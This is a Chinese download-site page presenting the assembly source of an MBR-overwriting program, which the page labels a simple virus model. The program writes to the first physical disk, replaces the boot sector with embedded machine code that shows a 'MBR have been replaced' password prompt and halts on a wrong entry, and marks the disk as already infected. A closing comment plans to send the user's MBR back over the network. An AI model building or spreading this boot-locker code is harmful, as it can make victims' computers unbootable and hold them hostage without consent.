⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rwmbr.asm

📁 重新改写第一个引导扇区的内容。一个简单的病毒模型
💻 ASM
字号:
;本版本应经测试通过,MyMBR在文件夹“MyMBR”下
;############################################################################################################
; 这是一个在保护模式的Windows NT/2000/XP下读写硬盘物理扇区内容的程序
; 请最好在“命令提示符”下运行,图形方式也能运行。
;############################################################################################################
;
		.386
		.model flat, stdcall
		option casemap :none
;
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	include			windows.inc
	include			kernel32.inc
	includelib		kernel32.lib
	include			user32.inc
	includelib		user32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	SECTOR_BYTES		equ		512
.data?
	dwRW			dd		?				; 保存ReadFile函数实际读出的字节数
										; 之后保存WriteFile函数实际写入的字节数
	hFile			dd		?				; 文件句柄
	; 下面是构造的硬盘前两个物理扇区内容——其实等于把原来的MBR搬到第2物理扇区,我的MBR放到第1物理扇区
	szBuffer1		db		SECTOR_BYTES dup(?)		; 数据缓冲:将存放我写的MBR
	szBuffer2		db		SECTOR_BYTES dup(?)		; 数据缓冲:将存放原来的MBR

.const
	szFileName1		db		'\\.\PHYSICALDRIVE0',0		; 打开第一个物理硬盘(PhysicalDrive0)
	szFileName2		db		'MBR.bin',0			; 以二进制存放主引导记录数据
	szCaption1		db		'囧  RWMBR',0
	szCaption2		db		'^_^  RWMBR',0
	szMessage		db		'本程序将读取第一硬盘的主引导记录 ',0
	szOkmessage		db		'               恭 喜 你!',0Dh,0Dh
				db		'赶紧在本程序所在文件夹下找“MBR.bin”文件吧 ',0Dh,0Dh
				db		'     它就是硬盘主引导记录(二进制代码)',0
	szErrMessage1		db		'你的权限不够,请以管理员身份运行本程序 ',0
	szErrMessage21		db		'遗憾,读主引导扇区失败!(CODE=1) ',0
	szErrMessage22		db		'遗憾,读主引导扇区失败!(CODE=2) ',0
	szErrMessage23		db		'遗憾,读主引导扇区失败!(CODE=3) ',0
	szErrMessage24		db		'遗憾,读主引导扇区失败!(CODE=4) ',0
	szErrMessage3		db		'     无法创建“MBR.bin”文件!',0Dh,0Dh
				db		'请检查是否有同名文件并被设置为只读。 ',0
	szErrMessage4		db		'抱歉,写“MBR.bin”文件失败! ',0
	;
	szErrMessage5		db		'抱歉,写主引导记录失败! ',0
	szErrMessage		db		'你已经运行过本程序,不能再次运行',0
	;
	; 这是我写的新MBR,将被程序转储到szBuffer1起始的缓冲区中
	szMyMBR		db	0FAh,033h,0C0h,08Eh,0D0h,0BCh,000h,07Ch,0FBh,050h,007h,050h,01Fh,0FCh,0BEh,01Ch
			db	07Ch,0BFh,01Ch,006h,050h,057h,0B9h,000h,002h,0F3h,0A4h,0CBh,033h,0C0h,050h,050h
			db	050h,0B8h,001h,000h,050h,033h,0C0h,050h,0B8h,000h,07Ch,050h,0B8h,001h,000h,050h
			db	0B8h,010h,000h,050h,08Bh,0F4h,0B8h,000h,042h,0B2h,080h,0CDh,013h,00Fh,082h,08Bh
			db	000h,0EBh,041h,090h,054h,068h,065h,020h,04Dh,052h,042h,020h,068h,061h,076h,065h
			db	020h,062h,065h,065h,06Eh,020h,072h,065h,070h,06Ch,061h,063h,065h,064h,021h,020h
			db	049h,06Eh,070h,075h,074h,020h,037h,020h,063h,068h,061h,072h,020h,070h,061h,073h
			db	073h,077h,06Fh,072h,064h,03Ah,0B5h,0A8h,0B7h,0B2h,0B7h,0B3h,0BFh,000h,000h,000h
			db	000h,000h,000h,000h,0BCh,000h,07Ch,0B8h,000h,0B8h,08Eh,0C0h,00Eh,01Fh,0BEh,044h
			db	006h,033h,0FFh,0B4h,0BCh,0B9h,032h,000h,0ACh,0ABh,0E2h,0FCh,01Eh,007h,0B9h,007h
			db	000h,0BFh,07Dh,006h,051h,057h,0B4h,000h,0CDh,016h,00Ah,0C0h,074h,0F8h,05Fh,034h
			db	086h,0AAh,059h,0E2h,0EFh,0BEh,076h,006h,0BFh,07Dh,006h,0B9h,007h,000h,0F3h,0A6h
			db	075h,00Ah,090h,090h,033h,0C0h,050h,0BFh,000h,07Ch,057h,0CBh,0B8h,000h,0B8h,08Eh
			db	0D8h,033h,0DBh,0B8h,045h,0FCh,089h,007h,0EBh,0FEh
	szIDAddr	EQU	$-szMyMBR
			db	055h,0AAh,0AAh,055h
	szMyMBRLen	EQU	$-szMyMBR
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
start:		
		; 提示信息
		invoke	MessageBox,NULL,offset szMessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
		; —————————————————————————核心—————————————————————————————
		; 打开第一个物理硬盘
		invoke	CreateFile,offset szFileName1, \
				GENERIC_READ or GENERIC_WRITE, \		; ★
				FILE_SHARE_READ or FILE_SHARE_WRITE, \
				NULL, \
				OPEN_EXISTING, \
				NULL, \
				NULL						; 打开文件(第一个物理硬盘)
		.if	eax == INVALID_HANDLE_VALUE
			invoke	MessageBox,NULL,offset szErrMessage1,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 打开错误,则显示提示后退出
		.endif
		mov	hFile,eax
		; 读硬盘主引导记录第一个物理扇区到szBuffer2
		invoke	ReadFile,hFile, \
				offset szBuffer2, \
				SECTOR_BYTES, \
				offset dwRW, \
				NULL						; 读
		.if	eax == NULL 
			invoke	CloseHandle,hFile				; 关闭句柄
			invoke	MessageBox,NULL,offset szErrMessage21,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.elseif	dwRW !=SECTOR_BYTES
			invoke	CloseHandle,hFile				; 关闭句柄
			invoke	MessageBox,NULL,offset szErrMessage22,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.endif
		mov	dwRW,0
		; ★test
		; 判定是否已经运行过本程序
		lea	ebx,szBuffer2
		add	ebx,szIDAddr
		mov	eax,[ebx]
		.if	eax == 055AAAA55h
			invoke	CloseHandle,hFile				; 关闭句柄
			invoke	MessageBox,NULL,offset szErrMessage,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit
		.endif

		; 复制到szBuffer1——原主引导扇区在后续启动中,可能被用到其中一些关键数据,所以尽量不破坏
		cld
		lea	edi,szBuffer1
		lea	esi,szBuffer2
		mov	ecx,SECTOR_BYTES
		rep	movsb
		; 改写数据,把我的MBR写到第一物理扇区,原来的MBR写到第二物理扇区
		lea	edi,szBuffer1
		lea	esi,szMyMBR
		mov	ecx,szMyMBRLen
		rep	movsb
		;
		;编程提示:要先调整指针
		invoke	SetFilePointer,hFile,0,NULL,FILE_BEGIN			; 移动文件指针到物理第1扇区第零字节
		; 写硬盘第一、第二物理扇区
		invoke	WriteFile,hFile, \
				offset szBuffer1, \
				SECTOR_BYTES*2, \
				offset dwRW, \
				NULL						; 写硬盘主引导扇区
		.if	eax == NULL 
			invoke	CloseHandle,hFile				; 关闭句柄
			invoke	MessageBox,NULL,offset szErrMessage5,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.elseif	dwRW !=SECTOR_BYTES*2
			invoke	CloseHandle,hFile				; 关闭句柄
			invoke	MessageBox,NULL,offset szErrMessage5,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.endif
		mov	dwRW,0
		; 再读硬盘第一、第二物理扇区
		invoke	SetFilePointer,hFile,0,NULL,FILE_BEGIN			; 移动文件指针到物理第零扇区第零字节
		invoke	ReadFile,hFile, \
				offset szBuffer1, \
				SECTOR_BYTES*2, \
				offset dwRW, \
				NULL						; 读硬盘主引导扇区
		invoke	CloseHandle,hFile					; 关闭句柄
		.if	eax == NULL 
			invoke	MessageBox,NULL,offset szErrMessage23,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.elseif	dwRW !=SECTOR_BYTES*2
			invoke	MessageBox,NULL,offset szErrMessage24,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.endif
		; —————————————————————————核心结束———————————————————————————
		; 创建"MBR.bin"文件
		mov	dwRW,0
		invoke	CreateFile,addr szFileName2, \
				GENERIC_WRITE, \
				FILE_SHARE_READ, \
				0, \
				CREATE_ALWAYS, \
				FILE_ATTRIBUTE_NORMAL, \
				0						; 创建或者打开主引导记录文件
		.if	eax == INVALID_HANDLE_VALUE
			invoke	MessageBox,NULL,offset szErrMessage3,offset szCaption1,MB_OK or MB_ICONQUESTION
			jmp	_exit
		.endif
		mov	hFile,eax
		; 保存二进制形式数据到文件"MBR.bin"
		invoke	WriteFile,eax, \
				offset szBuffer1, \
				SECTOR_BYTES*2, \
				addr dwRW, \
				NULL						; 写数据到指定文件
		push	eax
		invoke	CloseHandle,hFile					; 关闭句柄
		pop	eax
		.if	eax == NULL 
			invoke	MessageBox,NULL,offset szErrMessage4,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.elseif	dwRW !=SECTOR_BYTES*2
			invoke	MessageBox,NULL,offset szErrMessage4,offset szCaption1,MB_OK or MB_ICONSTOP
			jmp	_exit						; 失败则显示提示后退出
		.endif
		; 为成功欢呼
		invoke	MessageBox,NULL,offset szOkmessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
		;
_exit:		invoke	ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
		end	start
;############################################################################################################

; 使用 nmake 或下列命令进行编译和链接:
;  ml /c /coff /FlRMBR RMBR.asm (编译生成清单,不要清单的话:ml /c /coff RMBR.asm)
;  rc RMBR.rc
;  Link /subsystem:windows RMBR.obj RMBR.res
;############################################################################################################
; 1、本程序所用图标系网上下载的.png格式的,使用Png2Ico软件转换得来;
; 2、使用TD32完整测试了程序;
; 3、改进之处:加上二进制显示并再同时生成一个可用记事本打开、16进制的文本文件“MBR.txt”就更理想了;
; 4、远期目标:可以读取和改写任意数量的物理扇区、能让使用者把其机器的MBR用网络发回最好。
;############################################################################################################

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -